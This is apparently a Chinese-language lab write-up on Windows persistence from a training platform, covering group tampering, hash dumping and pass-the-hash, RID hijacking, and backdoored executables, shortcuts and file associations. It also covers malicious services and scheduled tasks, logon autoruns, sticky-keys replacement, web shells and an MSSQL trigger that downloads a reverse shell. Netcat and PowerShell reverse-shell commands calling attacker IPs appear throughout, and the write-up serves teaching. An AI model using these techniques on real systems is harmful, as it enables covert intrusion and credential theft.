文章目录
- [一、Tampering With Unprivileged Accounts](#一、Tampering With Unprivileged Accounts)
-
- [1.1 Assign Group Memberships](#1.1 Assign Group Memberships)
- [1.2 Special Privileges and Security Descriptors](#1.2 Special Privileges and Security Descriptors)
- [1.3 RID Hijacking](#1.3 RID Hijacking)
- [二、Backdooring Files](#二、Backdooring Files)
-
- [2.1 可执行文件](#2.1 可执行文件)
- [2.2 快捷方式文件](#2.2 快捷方式文件)
- [2.3 劫持文件关联(Hijacking File Associations)](#2.3 劫持文件关联(Hijacking File Associations))
- [三、Abusing Services](#三、Abusing Services)
-
- [3.1 创建后门服务](#3.1 创建后门服务)
- [3.2 修改现有服务](#3.2 修改现有服务)
- [四、Abusing Scheduled Tasks](#四、Abusing Scheduled Tasks)
-
- [4.1 Task Scheduler](#4.1 Task Scheduler)
- [4.2 隐藏计划任务](#4.2 隐藏计划任务)
- [五、Logon Triggered Persistence](#五、Logon Triggered Persistence)
-
- [5.1 启动文件夹](#5.1 启动文件夹)
- [5.2 Run / RunOnce](#5.2 Run / RunOnce)
- [5.3 Winlogon](#5.3 Winlogon)
- [5.4 Logon scripts](#5.4 Logon scripts)
- [六、Backdooring the Login Screen / RDP](#六、Backdooring the Login Screen / RDP)
-
- [6.1 粘滞键](#6.1 粘滞键)
- [6.2 Utilman](#6.2 Utilman)
- [七、Persisting Through Existing Services](#七、Persisting Through Existing Services)
-
- [7.1 使用Web Shell](#7.1 使用Web Shell)
- [7.2 Using MSSQL as a Backdoor](#7.2 Using MSSQL as a Backdoor)
这里主要介绍 windows权限维持 。
一、Tampering With Unprivileged Accounts
1.1 Assign Group Memberships
让一个非特权用户获得管理员权限的直接方法是将其添加到管理员组中。如下命令:
bash
# 将非特权用户添加到管理员组中
net localgroup administrators <username> /add
# 如: net localgroup administrators thmuser0 /add
上述操作看起来过于可疑,也可以使用备份操作员(Backup Operators)组。属于该组的用户虽然没有管理员权限,但可以读取或写入系统上的任何文件或注册表项,无视任何配置的DACL(离散访问控制列表)。这将使我们能够复制SAM和SYSTEM注册表内容,然后我们可以利用这些内容恢复所有用户的密码哈希值,从而轻松地提升到任何管理员账户的权限。相关命令如下:
bash
# 将非特权用户添加到Backup Operators组中
net localgroup "Backup Operators" <username> /add
# 如:net localgroup "Backup Operators" thmuser1 /add
如果即使用户属于
Backup Operators
组,也无法按预期访问所有文件。可能是该组被禁用。由于用户账户控制(UAC)导致的。UAC
实现的一个功能是LocalAccountTokenFilterPolicy
,它会在本地账户通过远程方式登录时剥夺其管理员权限。比如,如果使用的是
WinRM
进行远程连接,你将被限制在一个有限的访问令牌中,没有任何管理员权限。为了能够从你的用户账户重新获得管理员权限,需要通过将以下注册表键值设置为1
来禁用LocalAccountTokenFilterPolicy
:
bashreg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
也可以将非特权用户添加到Remote Desktop Users
组(实现RDP登录)和Remote Management Users
组中。
bash
# 将非特权用户添加到Remote Desktop Users组中
net localgroup "Remote Desktop Users" <username> /add
# 将非特权用户添加到Remote Management Users组中
net localgroup "Remote Management Users" <username> /add
# 如:net localgroup "Remote Management Users" thmuser1 /add
实验
首先,使用xfreerdp
以Administrator
身份连接到windows靶机:
bash
xfreerdp /v:10.10.54.41 /u:Administrator /p:Password321
我们的目的是将thmuser1
用户提权到admin权限,再读取相关的flag文件。
bash
# 查看windows上有哪些用户
net user

bash
# 查看当前用户权限
whoami /priv
# 查看当前用户属于哪些组
whoami /groups


只有当前用户属于
Remote Desktop Users
组,才可以通过RDP以当前用户身份进行登录。
下面的目的是需要进行hash传递,所以首先要能拿到注册表的hash值,要想读取注册表内容,就需要SeBackup/SeRestore
权限,而Backup Operators
组成员是默认拥有这两种权限的。拿到这两种权限后就可以读取并保存sam和system的hash值,下面就需要将hash值传输到攻击机上,这里是使用winrm进行文件传输,而要通过winrm需要将用户放到Remote Management Users
组中。
bash
# 将非特权用户添加到Backup Operators组中
## 为了读取注册表值
net localgroup "Backup Operators" thmuser1 /add
# 将非特权用户添加到Remote Management Users组中
## 为了通过winrm进行远程连接
net localgroup "Remote Management Users" thmuser1 /add

再使用evil-winrm
进行远程连接:
bash
# 远程连接
evil-winrm -i 10.10.29.75 -u thmuser1 -p Password321
# 保存sam和system文件
reg save hklm\system system.bak
reg save hklm\sam sam.bak
# 查看当前用户权限
whoami /priv
发现报权限不够的错误,可能是Backup Operators
组被禁用。
使用admin
用户解禁Backup Operators
组:
bash
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1


重新保存sam和system文件
bash
# 保存sam和system文件
reg save hklm\system system.bak
reg save hklm\sam sam.bak
# 将sam和system文件下载到攻击机
download system.bak
download sam.bak

使用secretsdump.py
进行转存所有用户的hash:
bash
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

使用evil-winrm
进行hash传递攻击:
bash
#这里要用NTLM hash
evil-winrm -i 10.10.21.40 -u Administrator -H f3118544a831e728781d780cfdb9c1fa

1.2 Special Privileges and Security Descriptors
在Backup Operators
组中,它默认被分配了以下两个权限:
SeBackupPrivilege
:用户可以读取系统中的任何文件,忽略任何存在的 DACL(自由访问控制列表)。SeRestorePrivilege
:用户可以写入系统中的任何文件,忽略任何存在的 DACL。
DACL与UAC:
DACL
强调的是文件、文件夹、注册表项等具体资源的访问权限。UAC
强调的是用户的权限级别,特别是普通用户和管理员用户之间的权限差异。
可以将SeBackupPrivilege
和SeRestorePrivilege
权限分配给任何用户,而不同考虑该用户属于哪个组。使用admin
权限导出当前系统安全配置:
bash
# 导出当前系统安全配置
secedit /export /cfg config.inf
# secedit:是Windows系统中的一个命令行工具,全称为 Security Configuration and Analysis(安全配置和分析工具)。它用于管理系统的安全策略,包括导出、导入、分析和配置安全设置。
# /export:secedit的一个选项,表示导出当前系统的安全配置。
# /cfg:指定导出的安全配置将保存到的文件路径
# config.inf:配置导出路径

修改配置文件,将SeBackupPrivilege
和SeRestorePrivilege
权限分配给thmuser2
用户。
将修改后的配置文件导入系统中:
bash
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

此外,要想用户通过WinRM连接远程主机,要么将该用户添加到Remote Management Users
组中,要么直接修改WinRM服务的安全描述符(Security Descriptor),允许当前用户thmuser2
连接。
WinRM 是"远程管理的通道":WinRM 允许用户远程连接到系统,并执行 PowerShell 命令。
PowerShell 会话配置是"命令执行的环境":当你通过 WinRM 连接到系统时,实际上是在一个 PowerShell 会话中执行命令。这个会话的安全描述符决定了谁可以连接并执行命令。
powershell
# 通过图形界面(GUI)来设置谁可以访问和使用PowerShell会话配置
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

bash
# 查看thmuser2相关信息
net user thmuser2
可以看到
thmuser2
只属于Users组

在攻击机上使用evil-winrm
远程连接:
bash
evil-winrm -i 10.10.20.41 -u thmuser2 -p Password321

1.3 RID Hijacking
另一种在没有管理员权限的情况下获取管理员权限的方法是通过修改注册表值,让操作系统认为你就是管理员。
当创建一个用户时,会分配一个名为相对标识符(RID)的标识符。RID只是一个数字标识符,用于在系统中代表用户 。当用户登录时,LSASS进程会从SAM注册表项中获取其RID,并创建与该RID相关联的访问令牌。如果我们能够篡改注册表值,就可以通过将相同的RID关联到两个账户,让Windows为非特权用户分配管理员访问令牌。
在任何Windows系统中,默认管理员账户被分配的RID=500
,而普通用户通常RID>=1000
。
要查找任何用户的分配RID,可以使用以下命令:
bash
# 查看用户分配的RID
# 不必须要管理员权限
wmic useraccount get name,sid

用户标识符(RID)是SID(安全标识符)的最后部分,如thmuser0
用户的RID为1011
。
为了将RID= 500
分配给thmuser3
。为此,我们需要通过注册表编辑器访问SAM(安全账户管理器)。SAM
仅限于SYSTEM
账户访问 ,即使是管理员也无法对其进行编辑。为了以SYSTEM身份运行注册表编辑器,我们将使用psexec
工具:
bash
PsExec64.exe -i -s regedit
将HKLM\SAM\SAM\Domains\Account\Users\
中thmuser3
的RID改为管理员RID0x01F4
(500 = 0x01F4
),F的0x30
处保存了用户的实际RID。
在攻击机上使用evil-winrm
远程连接:
bash
evil-winrm -i 10.10.20.41 -u thmuser3 -p Password321
winrm登不上去,似乎只能一个用户登录。使用
xfreerdp
登录thmuser3
用户,直接是用管理员身份登录。

二、Backdooring Files
2.1 可执行文件
假如有一个exe文件,用户经常用到,那么可以用msfvenom
将有效载荷植入其中。该二进制文件仍然会像往常一样正常工作,但会通过在二进制文件中添加一个额外的线程来静默地执行攻击者插入的有效载荷。例如,为了创建一个带有后门的putty.exe
,可以使用以下命令:
bash
# 生成带后门的putty.exe
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
# -a x64:指定目标架构为 64位。这确保生成的有效载荷与目标系统(运行 PuTTY 的系统)的架构兼容。
# --platform windows:指定目标平台为Windows。
# -x putty.exe:指定一个模板文件,这里是 putty.exe。msfvenom会将有效载荷嵌入到这个文件中,生成一个带有后门的可执行文件。
# -k:保留原始可执行文件的功能。这意味着生成的puttyX.exe仍然可以正常运行PuTTY的功能。
# -p windows/x64/shell_reverse_tcp:指定要嵌入的有效载荷类型。这里是生成一个适用于64位Windows的反向TCP Shell有效载荷。
# -b "\x00":指定坏字符,空字节。在某些情况下,空字节可能会破坏有效载荷的执行,因此这里告诉msfvenom在生成有效载荷时避免使用空字节。
2.2 快捷方式文件
如果不想篡改可执行文件本身,还可以直接篡改快捷方式文件。与其直接指向预期的可执行文件,可以将其改为指向一个脚本,该脚本会先运行一个后门,然后再正常执行原本的程序。
查看桌面上的计算器(calc)快捷方式,右键单击它并选择"属性",就能看到它指向的位置:
在劫持快捷方式的目标之前,先在C:\Windows\System32
或其他隐蔽位置创建一个简单的PowerShell
脚本,脚本内容如下:
bash
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.10.222.24 4444"
# Start-Process:PowerShell的一个命令,用于启动一个新的进程。
# -NoNewWindow:运行的程序将在后台执行。
# "c:\tools\nc64.exe":程序启动路径。
# "-e cmd.exe ATTACKER_IP 4445"
## -e cmd.exe:表示将cmd.exe绑定到Netcat的网络连接中,从而允许通过网络连接访问命令提示符。
## ATTACKER_IP:这是攻击者的 IP 地址,用于接收从目标系统发起的反向连接。
## 4444:这是攻击者监听的端口号,目标系统会通过这个端口与攻击者建立连接。
C:\Windows\System32\calc.exe
关于
-e cmd.exe
:
- 对攻击者来说:攻击者获得了一个对目标系统的命令行访问权限,可以通过网络控制目标系统。
- 对目标系统来说:目标系统上会启动一个隐藏的命令提示符会话,并将其绑定到网络连接中,而用户可能完全不会察觉。

最更改快捷方式,使其指向我们的脚本:
bash
powershell.exe -WindowStyle hidden C:\Users\Administrator\Desktop\backdoor.ps1

- 如果不添加
-windowstyle hidden
,将会:
- 添加
-windowstyle hidden
,命令行黑框也会一闪而过。

2.3 劫持文件关联(Hijacking File Associations)
除了通过可执行文件 或快捷方式 实现持久化之外,还可以劫持任何文件关联,迫使操作系统在用户打开特定文件类型时运行恶意程序。
背景:文件关联与注册表
在Windows系统中,文件的打开方式是由文件关联(File Associations)决定的。例如,当你双击一个.txt
文件时,系统会自动用某个程序(比如记事本)来打开它。这种文件关联的信息主要存储在注册表的HKLM\Software\Classes\
路径下,而每个文件类型都有一个对应的 ProgID(Programmatic ID,程序标识符),ProgID
只是一个标识符,用来告诉系统哪个程序负责打开这种文件类型。
假设我们想查看用于打开.txt
文件的程序,我们只需要检查.txt
子键,找到与之关联的程序标识符(ProgID)。程序标识符(ProgID)仅仅是系统上安装程序的一个标识符,对于.txt
文件,其对应的ProgID
是txtfile
。
大多数 ProgID 条目下会有一个子键路径:shell\open\command
。这个子键存储了实际的命令行指令,用于指定当用户打开这种文件类型时,系统应该运行哪个程序。
- 以
HKLM\Software\Classes\txtfile\shell\open\command
为例,其内容为:"C:\Windows\System32\notepad.exe" "%1"
- 这表示当用户双击
.txt
文件时,系统会运行notepad.exe
来打开它。- 此外,
%1
是一个占位符,表示用户双击的文件路径。当用户双击C:\example.txt
时,系统会将%1
替换为C:\example.txt
。
创建一个powershell脚本,内容如下:
bash
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.10.100.98 4444"
C:\Windows\system32\NOTEPAD.EXE $args[0]
# $args[0]用来接收%1的值。
并将HKLM\Software\Classes\txtfile\shell\open\command
的值改为:
bash
powershell -windowstyle hidden C:\Users\Administrator\Desktop\backdoor.ps1

在攻击机上监听nc -lvp 4444
之后,在靶机上打开一个txt文件,即可连接成功。
在运行txt文件时,也会出现黑框一闪而过的情况。

三、Abusing Services
Windows服务为建立持久性提供了一种绝佳的方式,因为它们可以配置为在受害者机器启动时在后台运行。服务本质上是一个在后台运行的可执行文件。在配置服务时,需要定义将使用哪个可执行文件,并选择该服务是在机器启动时自动运行,还是需要手动启动。
主要有两种方式通过服务来建立持久性:一是创建一个新的服务 ,二是修改现有的服务以执行恶意载荷。
3.1 创建后门服务
使用如下命令创建和开启一个服务:
bash
# 创建一个服务
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
# sc.exe 是Windows系统自带的命令行工具,用于管理服务(Service Control Manager)。
# create 是sc.exe的一个子命令,用于创建一个新的服务。
# THMservice:新创建的服务的名称。
# binPath:服务的可执行路径参数,用于指定服务运行时要执行的命令或程序路径。
# start:用于指定服务的启动类型,auto:服务将在系统启动时自动运行。
# 开启服务
sc.exe start THMservice
等号后面都必须有一个空格。
除了像上面payload为重置密码外,也可以使用msfvenom
创建一个反向 Shell,并将其与创建的服务关联起来。然而,需要注意的是,服务可执行文件是独特的,因为它们需要实现特定的协议才能被系统处理 。如果你想创建一个与Windows服务兼容的可执行文件,可以使用msfvenom
中的exe-service
格式,如下:
bash
# 生成与服务有关的反弹shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.100.98 LPORT=4444 -f exe-service -o rev-svc.exe
bash
# 攻击机开启http服务
python3.8 -m http.server 8000
# 靶机下载文件
wget -O ./rev0svc.exe http://10.10.100.98/rev-svc.exe
# 创建、开启服务
sc.exe create THMservice binPath= "C:\Users\Adminitrator\rev-svc.exe" start= auto
sc.exe start THMservice

连接反弹shell
3.2 修改现有服务
bash
# 获取可用服务的列表
sc.exe query state=all
# 输出
SERVICE_NAME: THMService1
DISPLAY_NAME: THMService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
可以发现有一个THMService3
的服务,查看该服务详细配置信息
bash
# 查看THMService3服务详细配置信息
sc.exe qc THMSerivece3
需要特别关注:
- 可执行文件 (
BINARY_PATH_NAME
) 应该指向我们的有效载荷(即恶意代码或工具)。 - 服务的启动类型 (
START_TYPE
) 应该设置为自动,这样有效载荷就可以在没有用户交互的情况下运行。 - 服务启动账户 (
SERVICE_START_NAME
),即服务运行所使用的账户,最好设置为 LocalSystem,以便获得系统(SYSTEM)级别的权限。
同样生成反弹shell:
bash
# 生成与服务有关的反弹shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.100.98 LPORT=4444 -f exe-service -o rev-svc.exe
重新配置THMService3
服务,命令如下:
bash
sc.exe config THMservice3 binPath= "C:\Users\Adminitrator\rev-svc2.exe" start= auto obj= "LocalSystem"
四、Abusing Scheduled Tasks
还可以使用计划任务来建立持久性,在Windows系统中,有以下几种方法。
4.1 Task Scheduler
计划任务的最常见方法是使用Windows内置的Task Scheduler。如:
bash
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe 10.10.134.222 4444" /ru SYSTEM
# schtasks:Windows自带的任务计划程序命令行工具,用于创建、删除、查询、更改、运行和停止计划任务。
# /create:表示创建一个新的计划任务。
# /sc minute:/sc:指定任务的触发类型。minute:表示任务将按照分钟的频率触发。
# /mo 1:/mo:表示任务触发的频率。1:表示任务每1分钟触发一次。
# /tn THM-TaskBackdoor:计划任务的名称。
# /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449":
## /tr:表示任务运行的程序或脚本。
## "c:\tools\nc64 -e cmd.exe 10.10.134.222 4444":Netcat将执行cmd.exe,同时将命令提示符的会话反向连接到这个 IP 地址。
# /ru SYSTEM:/ru:表示任务运行的用户账户。SYSTEM:表示任务将以系统权限运行。
检查任务是否成功创建,可以使用以下命令:
bash
# 检查计划任务是否创建成功
schtasks /query /tn thm-taskbackdoor

攻击机监听4444端口,尽管连上了,但是拿不到flag,继续~
bash
nc -lvp 4444

4.2 隐藏计划任务
如果被入侵的用户尝试列出其计划任务,后门就会变得很明显。为了进一步隐藏计划任务 ,可以通过删除其安全描述符(SD)使其对系统中的任何用户都不可见。简单来说,删除SD相当于禁止所有用户(包括管理员)访问该计划任务。
安全描述符只是一个访问控制列表(ACL),它声明哪些用户有权访问计划任务。如果你的用户没有权限查询一个计划任务,你就无法再看到它了,因为Windows只会显示你有权限使用的任务。
所有计划任务的安全描述符都存储在注册表路径 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
中。每个任务都有一个对应的注册表项,其中有一个名为"SD"的值,它包含了安全描述符。
只有拥有
SYSTEM
权限时,才能删除该值。
使用psexec
以SYSTEM
权限打开注册表编辑器(Regedit):
bash
# 以SYSTEM权限打开注册表编辑器
PsExec64.exe -s -i regedit
# -s:表示以系统权限(SYSTEM)运行指定的程序。
# -i:表示以交互模式运行程序。

再使用schtasks /query /tn thm-taskbackdoor
将查询不到thm-taskbackdoor
计划任务。

再次运行flag程序,即可获取flag。
五、Logon Triggered Persistence
这里讨论在用户登录系统时自动执行恶意程序。
5.1 启动文件夹
每个用户都有一个位于C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
的文件夹,如果将可执行文件放在那里,用户在登录时将会自动运行。攻击者只需将恶意程序放入其中,即可实现持久化。
如果希望在所有用户登录时强制运行一个负载,可以以相同的方式使用位于C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
的文件夹。
使用msfvenom
生成反弹shell:
bash
# 生成反弹shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.134.222 LPORT=4444 -f exe -o revshell.exe
# 开启http服务
python3 -m http.server
在靶机上下载反弹shell
powershell
# 下载反弹shell
wget -o ./revshell.exe http://10.10.134.222/revshell.exe

将反弹shell放入C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
bash
copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
攻击机监听4444端口,攻击机需要使用rdp重新登录:
bash
nc -lvp 4444
xfreerdp /v:10.10.120.94 /u:Administrator /p:Password321

5.2 Run / RunOnce
也可以通过注册表强制用户在登录时运行程序。与其将负载放到特定目录中,不如使用以下注册表项来指定在登录时运行的应用程序:
bash
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
- 位于
HKCU
下的注册表项仅适用于当前用户;- 位于
HKLM
下的注册表项则适用于所有人;- 在
Run
键下指定的任何程序将在用户每次登录时运行;- 在
RunOnce
键下指定的程序则只会执行一次。
同样,先生成反弹shell,并将反弹shell放到C:\Windows\
bash
# 生成反弹shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.134.222 LPORT=4444 -f exe -o revshell.exe
# 将反弹shell放到指定路径下
move revshell.exe C:\Windows
接下来在HKLM\Software\Microsoft\Windows\CurrentVersion\Run
下创建一个 REG_EXPAND_SZ
类型,且名字为MyBackdoor
的注册表项。这个注册表项的名称可以随便取,而它的值就是我们想要执行的命令。
像上面一样,登出后,攻击机监听4444端口,并使用rdp进行登录:
5.3 Winlogon
另一种用户登录时自动启动程序的方法是利用Winlogon
。Winlogon
是Windows
的一个组件,它在用户完成身份验证后(以及其他一些功能)加载你的用户配置文件。
Winlogon
使用了位于HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
下的某些注册表项,这些项对于实现持久化可能非常有用:
Userinit
指向userinit.exe
,它负责恢复你的用户配置文件偏好设置。shell
通常为explorer.exe
。

在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
中修改shell
或Userinit
,都可以实现持久化。这里修改Userinit
:
像上面一样,登出后,攻击机监听4444端口,并使用rdp进行登录:
5.4 Logon scripts
userinit.exe
在加载用户配置文件时会做的一件事是检查一个名为 UserInitMprLogonScript
的环境变量 。我们可以利用这个环境变量为用户分配一个登录脚本,该脚本会在用户登录机器时运行。这个变量默认情况下是未设置的,因此我们可以直接创建它,并分配我们想要的任何脚本。
需要注意的是,每个用户都有自己独立的环境变量,因此你需要分别对每个用户进行后门设置。

UserInitMprLogonScript
这个注册表项在HKLM
中没有对应的项,这意味着后门只会应用到当前用户。
像上面一样,登出后,攻击机监听4445端口,并使用rdp进行登录:

六、Backdooring the Login Screen / RDP
如果能够物理接触到机器 (或者通过远程桌面协议RDP),我们可以在没有有效登录凭证的情况下,通过后门登录屏幕来访问终端。
6.1 粘滞键
为了利用粘滞键建立持久性访问,我们将滥用Windows默认启用的一个快捷方式,即通过连续按下Shift键5次来激活粘滞键 。输入该快捷方式后,我们通常会看到如下所示的界面:
在连续按下Shift键5次之后,Windows会执行位于C:\Windows\System32\sethc.exe
的可执行文件。如果我们能够将该文件替换为我们所选择的有效载荷(payload),那么我们就可以通过快捷键来触发它。一种直接的后门登录屏幕的方法是将sethc.exe
替换为cmd.exe
。这样,我们就可以通过粘滞键的快捷键从登录屏幕启动一个控制台。
为了覆盖sethc.exe
,首先需要获取该文件的所有权,并授予当前用户修改它的权限。可以通过以下命令来实现:
bash
# 执行该命令后,系统会将sethc.exe文件的所有权从当前所有者(通常是系统)转移到执行该命令的用户账户。
takeown /f c:\Windows\System32\sethc.exe
# takeown:获取所有权的命令。
# /f:用于指定要操作的目标文件的路径。
# 授权权限
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
# 用cmd.exe替换sethc.exe
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

退出登录后,即可连按5次拿到system权限:
6.2 Utilman
Utilman
是Windows系统中内置的一个应用程序,用于在锁屏状态下提供"辅助功能"选项。
当我们点击登录屏幕上的"辅助功能"按钮时,它会以SYSTEM
权限执行 C:\Windows\System32\Utilman.exe
。类似于sethc.exe
:
bash
takeown /f c:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

锁屏后按Ease of Access
,即可以system
权限执行cmd.exe
。
七、Persisting Through Existing Services
7.1 使用Web Shell
在Web服务器中实现持久性访问的通常方法是将一个Web Shell 上传到 Web 目录中。这非常简单,并且会以 IIS 中配置的用户权限为我们提供访问权限,默认情况下是iis apppool\defaultapppool
。即使这是一个非特权用户,但它拥有特殊的SeImpersonatePrivilege
。攻击者可以利用Web Shell 和SeImpersonatePrivilege特权在Web服务器上实现持久性访问并提升权限。
直接将shell.aspx放到C:\inetpub\wwwroot\
即可。
7.2 Using MSSQL as a Backdoor
在MSSQL Server
安装中,有多种方法可以植入后门。目前,我们将探讨其中一种利用触发器(triggers)的方法。简单来说,MSSQL中的触发器允许将某些操作绑定到数据库中特定事件发生时执行 。这些事件可以包括用户登录,以及对给定表中的数据进行插入、更新或删除操作。在本任务中,我们将为HRDB数据库中的任何 INSERT
操作创建一个触发器。
在创建触发器之前,首先需要对数据库进行一些重新配置。首先,我们需要启用xp_cmdshell
。
xp_cmdshell
允许在系统的命令行中直接运行命令,但默认情况下它是禁用的。
使用默认用户名、密码连接MSSQL。默认情况下,本地管理员账户将有权访问所有数据库。
点击New Query
打开查询编辑器:
bash
# MSSQL配置中启用"高级选项"
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO
# 启用xp_cmdshell。
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

在完成上述操作后,我们必须确保任何访问数据库的网站都可以运行 xp_cmdshell
。默认情况下,只有具有sysadmin
角色的数据库用户才能执行此操作。由于通常期望Web应用程序使用受限的数据库用户,因此我们可以授予所有用户模拟sa
用户的权限 ,sa
是默认的数据库管理员。
bash
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];

进入HRDB
数据库:

创建一个触发器,一旦有用户往HRDB
数据库插入数据,就会使用powershell脚本下载一个反弹shell:
bash
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://10.10.246.45:8000/evilscript.ps1'')"';

将反弹shell部署在攻击机上,以下为shell内容:
bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.246.45",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
攻击机开启http服务,并监听4444端口
bash
# 开启http服务
python3 -m http.server
# 监听4444端口
nc -lvp 4444
攻击机访问http://10.10.59.198
,插入数据: